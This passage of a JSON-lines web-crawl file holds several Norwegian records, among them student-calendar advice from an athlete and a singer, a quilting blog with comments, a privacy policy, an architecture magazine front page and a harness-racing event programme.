viktig. Men husk, ha det G\u00d8Y p\u00e5 trening, selv om det skal gj\u00f8re vondt av og til. Nyt veien frem mot det store m\u00e5let OL, og gled deg over \u00e5 n\u00e5 dine delm\u00e5l. Hva m\u00e5 til for \u00e5 bli en god idrettsut\u00f8ver som hevder seg i for eksempel NM? Samme oppskrift som veien mot OL. Hva m\u00e5 til for \u00e5 holde seg i god form? Les min siste bok: Kom i Form med Mesternes Mester, den inneholder mange gode og enkle treningstips og motivasjon for \u00e5 komme seg i form. Ha det g\u00f8y p\u00e5 trening. Varier trening og intensitet. Mer rolig enn hard trening pr uke. Finn en treningspartner. Hvor viktig er vilje og kj\u00e6rlighet i idretten man driver med? Som jeg sa i starten. Vilje er for meg det viktigste talentet du kan ha.vilje til \u00e5 trene, vilje til \u00e5 ofre, vilje til \u00e5 utnytte ditt potensiale osv, for \u00e5 klare det m\u00e5 du ha kj\u00e6rlighet til den idretten du driver med. St\u00e5 p\u00e5 og husk, mitt motto har alltid v\u00e6rt: ingen ting er umulig, men det umulige tar lenger tid. Bare noen f\u00e5 n\u00e5r toppen, men veldig mange kan finne gleden ved \u00e5 trene. 31\n\n\n\n17 Naturlig samarbeidspartner med Hva skal til for \u00e5 lykkes som artist? Det er ikke noe fasitsvar p\u00e5 dette, og det kommer helt an p\u00e5 hvordan man definerer det \u00e5 lykkes. Det er veldig greit \u00e5 ta en avgj\u00f8relse p\u00e5 om du vil synge fordi det er g\u00f8y, eller om det er noe du kunne tenke deg \u00e5 leve av. OSLO ELEVKALENDEREN ER / 09/10 / Et par ting som har hjulpet meg er \u00e5 ha et m\u00e5l med flere delm\u00e5l underveis. Da har du noe konkret \u00e5 jobbe mot. Det er veldig viktig at man tenker ut hva man \u00f8nsker \u00e5 oppn\u00e5. For min del har jeg jobbet hardt mot \u00e5 kunne leve av musikken og det har jeg n\u00e5 gjort siden Det er viktig \u00e5 utvikle talentet sitt og \u00e5 s\u00f8ke til milj\u00f8er der det er andre man kan strekke seg etter. Jeg har reist til b\u00e5de New York, London og Stockholm for \u00e5 videreutvikle soundet mitt GRATIS skoledagb\u00f8ker til elever og studenter. NORGES ST\u00d8RSTE UNGDOMSMEDIUM STUDENTKALENDEREN OSLO / AKERSHUS 09/ Hva kreves hvis man bare \u00f8nsker \u00e5 bli en ok sanger p\u00e5 karaokemaskinen? At man kjenner noen som har en karaokemaskin s\u00e5 er det vel bare \u00e5 kj\u00f8re p\u00e5\\! Hvor viktig er vilje og kj\u00e6rlighet i musikkbransjen? Jeg har drevet med musikk aktivt i litt over 10 \u00e5r, og det som driver meg er at jeg har lyst til \u00e5 skrive l\u00e5ter som ber\u00f8rer og skaper f\u00f8lelser hos de som h\u00f8rer den. Jeg pr\u00f8ver alltid \u00e5 toppe meg selv, om det gjelder min siste konsert eller l\u00e5t p\u00e5 radio s\u00e5 pr\u00f8ver jeg \u00e5 gj\u00f8re den neste enda bedre\\! Jeg har opp gjennom \u00e5rene lagt merke til at jeg konkurrerer kun med meg selv, og jeg elsker det jeg driver med. Det st\u00f8rste kicket jeg f\u00e5r er n\u00e5r jeg st\u00e5r p\u00e5 scenen og synger. Jeg tror derfor at hvis du har stor kj\u00e6rlighet for sang s\u00e5 vil viljen din f\u00f8re deg videre. I NY ble det sagt at det handler om 20 % talent og 80 % hardt arbeid\\! 33\n\n\n\n18 Ungdom og trender p\u00e5 internett av Erling L\u00f8ken Andersen Internett har gjennomg\u00e5tt en radikal forandring fra sine spede barndoms\u00e5r p\u00e5 90-tallet. Fra \u00e5 v\u00e6re statiske informasjonssider er internett n\u00e5 et av de fremste og hyppigst brukte kommunikasjonsmidlene blant ungdom. Ungdommen ringer ikke hverandre lenger: de mailer, twitrer, blogger, shouter, chatter og \u00abfacer\u00bb (- \u00e5 sende en Facebookmelding, red. anm.). Og de gj\u00f8r det mye: En rapport fra unders\u00f8kelsesbyr\u00e5et Nielsen i 2009 viste at ungdom brukte 7 timer i snitt p\u00e5 Facebook i m\u00e5neden. Sammenligne gjerne dette opp i mot hvor mye de ringer hver m\u00e5ned, som statseide Telepriser.no oppgir til \u00e5 kun v\u00e6re 109 minutter i m\u00e5neden. Og i denne sammenligningen snakker vi kun om \u00e9n nettside alene\\! Tro heller ikke at sosiale medier kun brukes til \u00e5 overbringe triviell informasjon lenger. I fjor brakte TV2 nyheten om brudeparet som oppdaterte sin nye sivilstand foran presten ved alteret (de endret den til \u00abgift\u00bb), mens den deprimerte kroppsbyggeren Raoul Moat advarte Facebook-vennene sine f\u00f8r han la ut p\u00e5 drapsferd i Newcastle i sommer. I dagens samfunn har sosiale medier tatt telefonens plass og ikke noe sted er dette s\u00e5 tydelig som i ungdomskulturen. Erling L\u00f8ken Andersen Daglig leder i Biip.no og Spill.no Raske forandringer Begrepet \u00absosiale medier\u00bb er imidlertid ganske bredt og det kan v\u00e6re p\u00e5 sin plass med en enkel begrepsdefinisjon. Med sosiale medier mener man gjerne medier hvor det er en flytende kommunikasjon mellom avsender og mottaker. Dette st\u00e5r i motsetning til en monolog, som eksempelvis de fleste hjemmesider b\u00e6rer preg av \u00e5 v\u00e6re. Et godt eksempel p\u00e5 et sosialt medie er den amerikanske nettsiden Twitter, hvor hvem som helst kan registrere en konto og deretter fungere som redakt\u00f8r for sin egen, dedikerte leserskare. Disse kan s\u00e5 i tur kommunisere tilbake mot redakt\u00f8ren og hans lesere, noe som skaper en spennende og interaktiv kommunikasjonsarena. Andre gode eksempler p\u00e5 sosiale medier er LinkedIn, Digg.com og Reddit.com. Her hjemme sogner over 2 millioner nordmenn til amerikanske Facebook, mens norske nettsamfunn som VG Nettby og TV2- eide Biip.no fortsatt gj\u00f8r det godt blant ungdommen. Sosiale medier er ogs\u00e5 tilgjengelig p\u00e5 flere plattformer. Mens man f\u00f8r var avhengig av en internett-tilkoblet datamaskin, s\u00e5 f\u00e5r de fleste sosiale medier n\u00e5 plass i lommen - p\u00e5 mobilen eller p\u00e5 et surfebrett som for eksempel Apples ipad. Det er ogs\u00e5 disse plattformene som vokser mest: Mens NRK sine nettsider kun hadde unike mobilbrukere per uke i 2009, s\u00e5 var det tilsvarende tallet for 2010 hele \\! Dette tilsvarer en syvdobling i antall brukere p\u00e5 bare et \u00e5r, og det er liten tvil blant ekspertene om at dette tallet bare vil fortsette \u00e5 \u00f8ke i tiden fremover. Ulik bruk blant jenter og gutter Det er ogs\u00e5 forskjell i hvordan gutter og jenter bruker sosiale medier. Erfaringer viser at guttene ofte bruker sosiale medier for \u00e5 skryte og fremheve seg selv. Dette kan gi utspring i form av konkurranser om \u00e5 vinne trofe\u00e9r i spill, som deretter spres p\u00e5 Facebook. Jentene har ofte en mer pragmatisk tiln\u00e6rming til sosiale medier og bruker de som verkt\u00f8y for \u00e5 kommunisere og se hva vennegjengen foretar seg. Uavhengig av hvilken tiln\u00e6ring man har til sosiale medier, s\u00e5 kommer vi alle til \u00e5 m\u00e5tte forholde oss til fenomenet f\u00f8r eller senere. I s\u00e5 m\u00e5te er det viktig \u00e5 v\u00e6re bevisst p\u00e5 de fordeler og ulemper dette bringer med seg. Derfor anbefaler jeg \u00e5 ta en titt p\u00e5 linkene nedenfor. Der kan du l\u00e6re mer om sosiale medier og hva de vil bety for v\u00e5r felles fremtid. blogg.biip.no\n\n\n\n\n\n### Til et barn. - Du er en jente som kan virke stille, men jeg tror at det er et fyrverkeri der inne\n\n Hedringsstund P\u00e5 den siste samlingen med 4 m\u00f8dre og 6 barn som har opplevd vold, skulle alle hedre hverandre. Her er noe av det som ble sagt. Samlingen ble noe av det sterkeste terapeutene hadde opplevd.\n\n### Du setter en ny trade som ser utrolig lovende ut og f\u00e5r en god natt med s\u00f8vn. Du st\u00e5r opp dagen derp\u00e5 og ser du fikk traden din og markedet\n\n### Og SIST MEN IKKE MINST en stor takk til dere for at dere har lyst til \u00e5 v\u00e6re en del av mitt teamt\\! Det \u00e5 ha en sponsor som dere med p\u00e5 laget gir meg\n\n Dersom det er sant at Gud finnes, hvordan tror du han/hun er? Inger Oline Jeg tror Gud er snill, omtenksom og hjelpsom. Karoline Jeg tror egentlig at Gud er ganske liten, og s\u00e5 er Gud glad og snill. Inger\n\n", "language": "no", "__index_level_0__": "5d1b023f-af33-454a-bb2c-8af4a80ddec1"}
{"url": "http://syglad.blogspot.com/2008/10/perlehns.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00338.warc.gz", "warc_date": "2018-03-24T23:42:06Z", "text": "\n\n## oktober 07, 2008\n\n### Perleh\u00f8ns :-)\n\n  \n\n  \n  \nDenne har jeg altid hatt lyst til og sy meg. M\u00f8nsteret er av\n\nLise Bergene og jeg har hentet m\u00f8nsteret fra boken\n\n**Lises Desing - Lapper i alle varianter.**\n\n  \nStoffene ble kj\u00f8pt p\u00e5 Kaktus quilt n\u00e5r jeg\n\nvar i Tananger p\u00e5 strikketreff. Og all\n\nstoffet var beregnet p\u00e5 dette veggbildet\n\nsom skal henge p\u00e5 hytta til p\u00e5ske.\n\n  \n#### 33 kommentarer:\n\n1.  \n    \n    Beate7. oktober 2008 kl. 22:30\n    \n    S\u00e5 utrolig stilig\\!Stussa litt p\u00e5 p\u00e5sketema n\u00e5, s\u00e5 m\u00e5tte bare inn \u00e5 se :)\n    \n2.  \n    \n    mathilde337. oktober 2008 kl. 22:43\n    \n    Den var knallstilig\\!\n    \n3.  \n    \n    heidiaa7. oktober 2008 kl. 23:06\n    \n    kjempet\u00f8ff.hadde jeg bare kunnet sy\n    \n4.  .jpg)\n    \n    randi K design8. oktober 2008 kl. 02:25\n    \n    S\u00e5 sprudlende festlig dette teppet var\\!\\!\n    \n5.  \n    \n    Kath8. oktober 2008 kl. 04:46\n    \n    Veldig fint p\u00e5sketeppe\\!\\!\\!\n    \n    \n    Tittei8. oktober 2008 kl. 05:44\n    \n    \u00c5\u00e5\u00e5\u00e5, det var fint\\! Knallfint\\! Fargene er herlige. Sp\u00f8rs om jeg m\u00e5 pr\u00f8ve \u00e5 lage meg et s\u00e5nt ja.\n    \n7.  \n    \n    Hobbypiraten8. oktober 2008 kl. 06:13\n    \n    Denne var bare helt herlig. Gleder meg til l\u00f8rdag da vi skal p\u00e5 tur til Lappemakeriet.\n    \n8.  \n    \n    Hanne8. oktober 2008 kl. 07:05\n    \n    Knallstilig\\! Utrolig flotte uttrykk p\u00e5 h\u00f8ne-hanene dine, spreke farger, og morsomt m\u00f8nster. Jeg hadde hatt en laang p\u00e5ske om hadde jeg hatt noe s\u00e5 flott \u00e5 henge p\u00e5 veggen.\n    \n9.  \n    \n    Anonym8. oktober 2008 kl. 07:32\n    \n    Den ble kjempestilig, karna\n    \n10. \n    \n    kamelia8. oktober 2008 kl. 07:36\n    \n    Den var morsom\\!\n    \n    mimouna8. oktober 2008 kl. 08:05\n    \n    \u00c5 s\u00e5 fin\\! Skikkelige glad-farger og herlig motiv.\n    \n12. \n    \n    Anonym8. oktober 2008 kl. 08:06\n    \n    Stili :) Skal seie du er i sy-hum\u00f8r for tida, tryller fram det eine etter det andre flotte prosjektet. Eg har nok med \u00e5 sj\u00e5 p\u00e5 symaskina, lysta vert ikkje st\u00f8rre av den grunn..  \n    Ha en fin dag.  \n    Klem fra Ronille\n    \n13. \n    \n    HobbyMegHer8. oktober 2008 kl. 08:30\n    \n    Silig\\! Det ble jo et flott resultat\\!\n    \n14. \n    \n    Irene8. oktober 2008 kl. 08:49\n    \n    s\u00e5 herlig og glad p\u00e5ske dere kommer til \u00e5 f\u00e5 bare av \u00e5 se p\u00e5 denne\\!\n    \n    jannicke8. oktober 2008 kl. 10:17\n    \n    \u00e5 s\u00e5 nydelige farger\\!\n    \n16. \n    \n    Lillesnuppa8. oktober 2008 kl. 12:34\n    \n    S\u00e5 sprek og flott den var :) Kjekt med alt som er ferdig f\u00f8r p\u00e5sken. Ha en fin uke videre.\n    \n17. \n    \n    Synn\u00f8ve8. oktober 2008 kl. 15:10\n    \n    S\u00e5 fin og lekker den ble.\n    \n18. \n    \n    lise8. oktober 2008 kl. 17:35\n    \n    Kult teppe - det t\u00e5ler \u00e5 henge oppe hele \u00e5ret, men det er gjerne mer stas med s\u00e5nt som tas frem til h\u00f8ytidene.\n    \n    Liv Irene8. oktober 2008 kl. 18:13\n    \n    Det var ett herlig veggbilde, flotte stoff, mange fine farger\\! Skikkelig gladteppe\\!\n    \n20. \n    \n    Heklejenta/Berit8. oktober 2008 kl. 18:20\n    \n    Dette p\u00e5sketeppet var knallfint\\! Er s\u00e5 misunnelig p\u00e5 dere som kan sy, og ikke minst har t\u00e5lmodighet til det. Du lager s\u00e5 mye flott\\!\n    \n21. \n    \n    sol8. oktober 2008 kl. 18:43\n    \n    Knallt\u00f8ffe h\u00f8ner, n\u00e5 kan p\u00e5sken bare komme ;)\n    \n22. \n    \n    Anne Grete8. oktober 2008 kl. 18:53\n    \n    Den var fin og s\u00e5 lekre stoffer du har f\u00e5tt tak i.\n    \n23. \n    \n    medina8. oktober 2008 kl. 19:02\n    \n    Nyyydelig teppe du har sydd.\n    \n24. \n    \n    Sigrun8. oktober 2008 kl. 20:58\n    \n    Artig \u00e5 se dette gamle m\u00f8nsteret i nnye stoff. Du har v\u00e6rt kjempeflink i stoffvalget ditt, veggquilten er kjempeflott.\n    \n25. \n    \n    Lisbet8. oktober 2008 kl. 21:17\n    \n    Den var jemmen fin. Gled deg til p\u00e5ske og denne kommer opp. Da er det snart v\u00e5r igje\\! PS. Meldte meg p\u00e5 kurset som ble avlyst jeg ogs\u00e5. Ble sur da det ble avlyst. Hadde gledet meg s\u00e5nn. Er endelig i gang med nye prosjekt p\u00e5 bloggen jeg ogs\u00e5. Sommeren ble laaaang....\n    \n26. \n    \n    Solveig9. oktober 2008 kl. 06:35\n    \n    Den pynter nok opp p\u00e5 hytta. Kjempefestlig.\n    \n27. \n    \n    Trollmor9. oktober 2008 kl. 10:45\n    \n    Den var r\u00e5stilig\\!\\! Herlig \u00e5 ta fram en slik til p\u00e5ske:) Innom p\u00e5 en liten runde for \u00e5 hilse p\u00e5:) Ha en fortsatt vakker dag.  \n      \n    Stor klem fra et solfylt Molde\n    \n28. \n    \n    ronille10. oktober 2008 kl. 09:54\n    \n    Heisann go jenta :) Innom med en God helg klem :)\n    \n    \n    Virtuella10. oktober 2008 kl. 10:52\n    \n    Den var knallfin\\!  \n    God helg til deg og dine.\n    \n    sipusa10. oktober 2008 kl. 13:07\n    \n    Flotte h\u00f8ner:-D  \n    God helg p\u00e5 deg ogs\u00e5\\!\n    \n    Henrikke10. oktober 2008 kl. 14:09\n    \n    Den var bare helt r\u00e5. P\u00e5skel\u00f8peren din.  \n    Vil \u00f8nske deg god helg. :-))\n    \n32. \n    \n    Elisabeth Augusta12. oktober 2008 kl. 06:52\n    \n    Freskt\\! Slik p\u00e5skepynt kan jeg like.\n    \n33. \n    \n    UnePune24. oktober 2008 kl. 23:57\n    \n    Jeg er egentlig ikke s\u00e5 fan av lappeteknikk, men denne her var utrolig stilig\\! Du bruker veldig fine farger og m\u00f8nstre p\u00e5 lappene dine(ikke bare denne) =)\n    \n## Dette er syglad.\n\n\nsylvi ruud  \n", "language": "no", "__index_level_0__": "92106cbc-c1c8-4ee0-840f-42590f40ad94"}
{"url": "http://www.fontenehuset.com/personvern", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00236.warc.gz", "warc_date": "2018-03-24T23:38:21Z", "text": "# V\u00e5r behandling av personvern\n\nDenne personvernerkl\u00e6ringen forteller om hvordan Fontenehuset H\u00f8nefoss samler inn og bruker personopplysninger p\u00e5 nettstedet.\n\nFontenehuset H\u00f8nefoss, ved daglig leder, er behandlingsansvarlig for virksomhetens behandling av personopplysninger. Der det daglige ansvaret er delegert, kommer det fram under hvert enkelt punkt. Delegeringen omfatter kun oppgavene og ikke ansvaret. Erkl\u00e6ringen inneholder opplysninger du har krav p\u00e5 n\u00e5r det samles inn opplysninger fra nettstedet v\u00e5rt (personopplysningsloven \u00a7 19) og generell informasjon om hvordan vi behandler personopplysninger (personopplysningsloven \u00a7 18 1.ledd).\n\n### Nettbasert behandling av personopplysninger p\u00e5 www.fontenehuset.com\n\nDet er frivillig for de som bes\u00f8ker nettstedet\u00a0\u00e5 oppgi personopplysninger i forbindelse med v\u00e5re tjenester. Behandlingsgrunnlaget er\u00a0samtykke\u00a0fra den enkelte, med mindre annet er spesifisert.  \nCatch Media\u00a0er Fontenehuset H\u00f8nefoss sin\u00a0databehandler, og er v\u00e5r totalleverand\u00f8r for utvikling, drift og vedlikehold av nettstedet.\n\nOpplysninger som samles inn i forbindelse med drift av nettsted, lagres p\u00e5 egne servere som driftes av leverand\u00f8ren. Det er kun Fontenehuset H\u00f8nefoss\u00a0og Catch Media som har tilgang til opplysningene som samles inn.\n\n### Nettstatistikk\n\nFontenehuset H\u00f8nefoss\u00a0samler inn avidentifiserte opplysninger om bes\u00f8kende p\u00e5 www.fontenehuset.com. Form\u00e5let med dette er \u00e5 utarbeide statistikk som vi bruker til \u00e5 forbedre og videreutvikle informasjonstilbudet p\u00e5 nettstedet. Eksempler p\u00e5 hva statistikken gir svar p\u00e5, er hvor mange som bes\u00f8ker ulike sider, hvor lenge bes\u00f8ket varer, hvilke nettsteder brukerne kommer fra og hvilke nettlesere som benyttes.\n\nOpplysningene behandles i avidentifisert og aggregert form. Med avidentifisert menes at vi ikke kan spore opplysningene vi samler inn tilbake til den enkelte bruker.\u00a0Vi bruker analyseverkt\u00f8yet Google Analytics\u00a0p\u00e5 v\u00e5rt nettsted. Informasjon fra dette verkt\u00f8yet utleveres ikke fra Fontenehuset H\u00f8nefoss\u00a0eller Catch Media\u00a0til andre akt\u00f8rer.\n\n### Informasjonskapsler\n\nV\u00e5rt nettsted forbedres ved hjelp av informasjonskapsler. En informasjonskapsel (cookie) er en liten tekstfil som nettstedet du bes\u00f8ker lagrer p\u00e5 din pc. De inneholder blant annet informasjon om hvilke sider som blir bes\u00f8kt p\u00e5 nettstedet. I tillegg vil det ogs\u00e5 kunne brukes i forbindelse med markedsf\u00f8ring av produkter og tjenester.\n\nDe innsamlede dataene vil aldri bli knyttet til personlige opplysninger. For \u00e5 samle informasjon vedr\u00f8rende trafikk p\u00e5 nettsidene v\u00e5re og hvilke sider brukeren bes\u00f8ker, bruker vi analyseverkt\u00f8yet Google Analytics. Dersom du ikke \u00f8nsker \u00e5 dele anonyme data med Fontenehuset H\u00f8nefoss, kan du\u00a0reservere deg mot Google Analytics her.\n\nVed \u00e5 bruke www.fontenehuset.com\u00a0samtykker du i at vi kan sette cookies i din nettleser, siden de fleste nettlesere er innstilt til automatisk \u00e5 akseptere cookies. Cookies identifiserer ikke den individuelle brukeren, men datamaskinen som brukes for \u00e5 f\u00e5 tilgang til nettstedet.\n\n### Vi bruker f\u00f8lgende\u00a0informasjonskapsler:\n\n#### Google Analytics\n\n\\_utma , \\_utmb, \\_utmc , \\_utmv, \\_utmz\u00a0 er tredjerparts informasjonskapsel fra Google Analytics som blir brukt til \u00e5 hente informasjon om hvordan bes\u00f8kende bruker nettstedet.\n\nVi bruker analyseverkt\u00f8yet Google Analytics for \u00e5 lage et overordnet bilde av hvordan brukerne benytter nettstedet. Google Analytics bruker informasjonskapsler til \u00e5 hente inn informasjon anonymt om hvordan bes\u00f8kende benytter nettstedet. Eksempler p\u00e5 informasjon som blir lagret er antall sidevisninger, hvordan de bes\u00f8kende fant nettstedet, og antall bes\u00f8k osv. Hensikten er \u00e5 hjelpe oss til \u00e5 \u00f8ke brukervennligheten p\u00e5 nettstedet. Informasjonen som blir opprettet under bes\u00f8ket ditt blir videresendt og lagret hos Google Inc. IP-adresser blir lagret, men kan ikke bli skilt ut enkeltvis.\n\nGoogle kan overf\u00f8re den innsamlede informasjonen til tredjepart hvis det er et rettslig grunnlag for det, eller der tredjepart prosesserer informasjonen p\u00e5 Googles vegne. Google kan ikke koble IP-adresser til andre data Google besitter.\u00a0Les mer om Google Analytics her.\n\n", "language": "no", "__index_level_0__": "618ac8ef-e5cc-4008-aac7-6c042b521a5c"}
{"url": "https://www.arkitektnytt.no/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:24:05Z", "text": "Arbeidsliv  Fra papirutgaven Arkitektnytt 03/2018: \n\n### Lyden av arkitektur  \n\n Start opp tegneprogrammet. Plugg i \u00f8retelefonene. Og gj\u00f8r arbeidsdagen til en lek med Arkitektnytts liste over de elleve beste arkitekturpodkastene.  \n\n### Fengslende arkitektur  \n\n Ny bok om fengselsarkitektur r\u00f8rer i den aktuelle debatten rundt bygging av modulfengsler i Norge. \u00abVi var mer opptatt av fengselsarkitektur p\u00e5 1860-tallet,\u00bb ble det hevdet fra salen under boklansering og paneldebatt p\u00e5 Doga.  \n\n\n\n\nArkitekturpriser\n\n### Groschmedaljen tildeles Jarmund/Vigsn\u00e6s  \n\n 23 \u00e5r etter at de \u00e5pnet d\u00f8rene, mottar Jarmund/Vigsn\u00e6s norsk arkitekturs gjeveste utmerkelse. Vi m\u00f8tte prismottakerne.  \n\n\n Haugen/Zohar Arkitekter mottok pris under Byggedagene. \u00abBoligprosjekt p\u00e5 Furuset byr p\u00e5 grensesprengende og innovative l\u00f8sninger p\u00e5 energi- og trebruk,\u00bb skriver juryen.  \n\n### Tid for Groschmedaljen igjen  \n\n Det er hele fire \u00e5r siden Grosch\u00admedaljen sist ble delt ut. Torsdag denne uken deles den ut for niende gang. Utstillingen skal st\u00e5 til slutten av mai.  \n\n\n\n### \u2013 Skap identitet i Kvadraturen  \n\n Danske designere kommer med klokkeklare r\u00e5d til sentrumsomr\u00e5det Kvadraturen i Oslo. \u2013\u00a0F\u00e5 fram det spesifikke ved rom og gater, sier Christian Pagh. 6. april gjester han NLAs fagdag.  \n\n### Parkaktivistene  \n\n En gjeng h\u00f8ylytte aktivister har gjort seg godt h\u00f8rt i debatten rundt NTNU Campus. N\u00e5 fortsetter jobben mot bygging i park med ufortr\u00f8den styrke.  \n  \n\n### Wildcard-ordningen vender tilbake  \n\n I 2015 stoppet Regjeringen satsingen p\u00e5 unge arkitekter. N\u00e5 bl\u00e5ser NAL liv i Wildcard-ordningen igjen.  \n\nUnge arkitekter\n\n", "language": "no", "__index_level_0__": "af0801e1-4d9f-4c33-882d-24a49c9c3ae1"}
{"url": "https://www.virke.no/lovverk-radgiving/kompetanse/entreprenorielle-ferdigheter/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00128.warc.gz", "warc_date": "2018-03-24T23:48:35Z", "text": "# Entrepren\u00f8rielle ferdigheter\n\nEntrepren\u00f8rskap er en l\u00e6ringsstrategi som kan bidra til \u00e5 gj\u00f8re oppl\u00e6ringen mer praksisrettet og virkelighetsn\u00e6r.\n\nEntrepren\u00f8rskap muliggj\u00f8r st\u00f8rre grad av tilpasset oppl\u00e6ring ved at varierte l\u00e6ringsarenaer og ulike l\u00e6ringsstrategier som stimulerer til entrepren\u00f8rielle kompetanser utvikler seg hos eleven. Eksempler p\u00e5 entrepren\u00f8rielle kompetanser er handlekraft, risikovilje, kreativitet og det \u00e5 bli kjent med egne talenter. Entrepren\u00f8rielle kompetanser handler om evne til \u00e5 mestre livet. \u00c5 ha tro p\u00e5 seg selv og sine egne ideer er avgj\u00f8rende for \u00e5 h\u00e5ndtere et langt liv med store omstillinger b\u00e5de privat og profesjonelt.\n\n", "language": "no", "__index_level_0__": "4edd6bec-62af-4ba0-b81d-013930222859"}
{"url": "http://oysteinlive.blogspot.com/2012/07/siste-dag-i-barnehagen.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00170.warc.gz", "warc_date": "2018-03-24T23:26:23Z", "text": "hvis du lurer p\u00e5 hva familien min og jeg gj\u00f8r...\n\n## fredag 29. juni 2012\n\n### Siste dag i barnehagen\n\n\n\nMer er det ikke \u00e5 si. Spesielt \u00e5 se barnehageansatte felle t\u00e5rer for at de er kvitt en ramp. N\u00e5 er det kanskje ikke urokr\u00e5ka Theodor som de vil savne, men en glad og h\u00f8flig gutt som setter sitt eget preg p\u00e5 alt og alle.  \n  \nEn fin, trist og merkelig dag p\u00e5 en gang.\n\n   kl. \n\n09:14  \n\n|             |  |\n| ----------- |  |\n| Reaksjoner: |  |\n\n           \n\n", "language": "no", "__index_level_0__": "869bd9ad-2d00-4f44-8426-1016ca684e9d"}
{"url": "http://docplayer.me/4803263-Lordag-24-august-kl-13-30-barneaktiviteter-ansiktsmaling-ponniridning-polsegrilling-hesteeier-for-en-dag-vinn-reisegavekort-verdi-kr-10.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-25T00:33:45Z", "text": "3 Leder Tekno Odin vs Gylden Balder Da er dagen kommet for matchen vi har ventet p\u00e5 Tekno Odin og Gylden Balder er ikke bare landets to beste 5-\u00e5ringer. De kan trygt ogs\u00e5 kalles landets to beste kaldblodshester. Riktignok m\u00e5tte Gylden Balder \u00abn\u00f8ye\u00bb seg med bronsen i NM, men da var han ikke p\u00e5 topp. Etter l\u00f8pet viste det seg at t\u00f8ffingen var tett i halsen. F\u00f8r kvalifiseringen ble han ogs\u00e5 utsatt for en kolikk, s\u00e5 oppladningen til kvalifiseringen var langt fra optimal. Med kvalifiseringsl\u00f8pet i kroppen kan Gylden Balder ventes forbedret. Han trenger da ogs\u00e5 \u00e5 v\u00e6re p\u00e5 topp om Tekno Odin skal utfordres. \u00abVerdens beste\u00bb kaldblodshest var helt enorm i sin kvalifisering. Etter \u00e5 ha avsluttet siste 500 meter i 1.20-fart kom han helt ensom til m\u00e5l. I fjor var Tekno Odin den beste av de to. I \u00e5r har de m\u00f8ttes tre ganger f\u00f8r l\u00f8rdagens l\u00f8p, og Gylden Balder leder 2-1 mot Tekno Odin. Tekno Odin og Gylden Balder er to \u00abbamser\u00bb som har vist at de takler den velvoksne distansen i l\u00f8pet. Tvekampen b\u00f8r oppleves live. L\u00f8rdag ettermiddag f\u00e5r vi se hvem av de to som er sterkest\\! \u00c5pen hoppefinale Mens de to store skiller seg ut i \u00e5pen klasse er hoppenes finale vid\u00e5pen. I form av J\u00e6rvs\u00f8 Kristina og Hovsjerka fikk vi to overraskende vinnere i kvalifiseringsl\u00f8pene. I finalen kan n\u00e6r sagt hvem som helst vinne. Litt sympati skal det ogs\u00e5 deles med kretsen rundt Vestpol Dronninga. Hoppa var p\u00e5 vei mot kvalifiseringsseier da hun slengte seg over i galopp p\u00e5 oppl\u00f8pet, en galopp som varte over m\u00e5lstreken. Det som s\u00e5 ut til \u00e5 bli seier og favorittstempel i finalen i kampen om kroner endte i m\u00e5lgalopp og finalebillett. Det er sm\u00e5 marginer i sporten v\u00e5r. Klokken er det utdeling av deltakerbevis til kretsen rundt hver finalist i begge finalene. Vi h\u00e5per alle hestene er representert ved seiersplattingen da. Hallingdagen Hallingdal Tr\u00e5vlag har nok en gang trommet sammen sponsorer til Hallingdagen. Vi \u00f8nsker Hallingene spesielt vel m\u00f8tt. De har med seg premier til kretsen rundt hver vinner i dag. Som vanlig gj\u00f8r vi ekstra stas p\u00e5 de som vinner l\u00f8p p\u00e5 v\u00e5re V75-dager. Vi anmoder hesteeiere, trener og oppassere om \u00e5 m\u00f8te opp p\u00e5 seremoniplass n\u00e5r din hest har vunnet. Og i DNTs 5-\u00e5rsl\u00f8p er det ogs\u00e5 ekstra fokus p\u00e5 oppdretterne. Tradisjonelle aktiviteter Vi har \u00abnormalt trykk\u00bb p\u00e5 v\u00e5re V75-dager. Det betyr tipsm\u00f8te klokken med \u00d8ivind Gr\u00f8stad, barneaktiviteter med ponniridning og grilling og \u00abHesteeier for en dag\u00bb- konkurranse. Tipsm\u00f8tet denne gangen er lagt til m\u00f8terommet i hj\u00f8rnet p\u00e5 tribunebygget. Denne gangen pr\u00f8ver vi \u00e5 f\u00e5 til en toveiskommunikasjon. S\u00e5 still opp og still Gr\u00f8stad sp\u00f8rsm\u00e5l om dagens l\u00f8p. Den sv\u00e6rt s\u00e5 innholdsrike Elvefestivalen avvikles i Drammen denne helga. Hvorfor ikke kombinere et bes\u00f8k p\u00e5 Drammen Travbane med en tur p\u00e5 Elvefestivalen. Der bys det blant annet p\u00e5 stjernespekket konsertprogram b\u00e5de fredag og l\u00f8rdag kveld. Det serveres ti fulle felt av god kvalitet og 28 millioner til en eventuell alenevinner. Vel m\u00f8tt til V75 p\u00e5 Drammen Travbane\\! Tron Gravdal Sports- og arrangementsansvarlig 3\n\n\n\n\n\n5 DNTs 5-\u00e5rsl\u00f8p I november 2010 vedtok DNTs styre den s\u00e5kalte \u00abKaldblodspakka\u00bb. Blant tiltakene som da ble besluttet var satsing p\u00e5 DNTs 5-\u00e5rsl\u00f8p. L\u00f8pet blir i \u00e5r kj\u00f8rt for femte gang. Fra i fjor av er l\u00f8pet et innskuddsl\u00f8p, og f\u00f8rstepremien \u00f8kte til kroner i \u00e5pen klasse i forbindelse med fjor\u00e5rets l\u00f8p. Hoppeavdelingen blir kj\u00f8rt for andre gang, og i \u00e5r som i fjor er f\u00f8rstepremien p\u00e5 kroner. I arbeidet med \u00abKaldblodspakka\u00bb konkluderte man med at det var et utbredt \u00f8nske \u00e5 flytte tyngdepunktet for satsingen p\u00e5 kaldblodsunghesten litt senere enn det historisk har v\u00e6rt. Som et ledd i dette ble det satset hardere p\u00e5 DNTs 5-\u00e5rsl\u00f8p, samtidig som noen av de tidlige 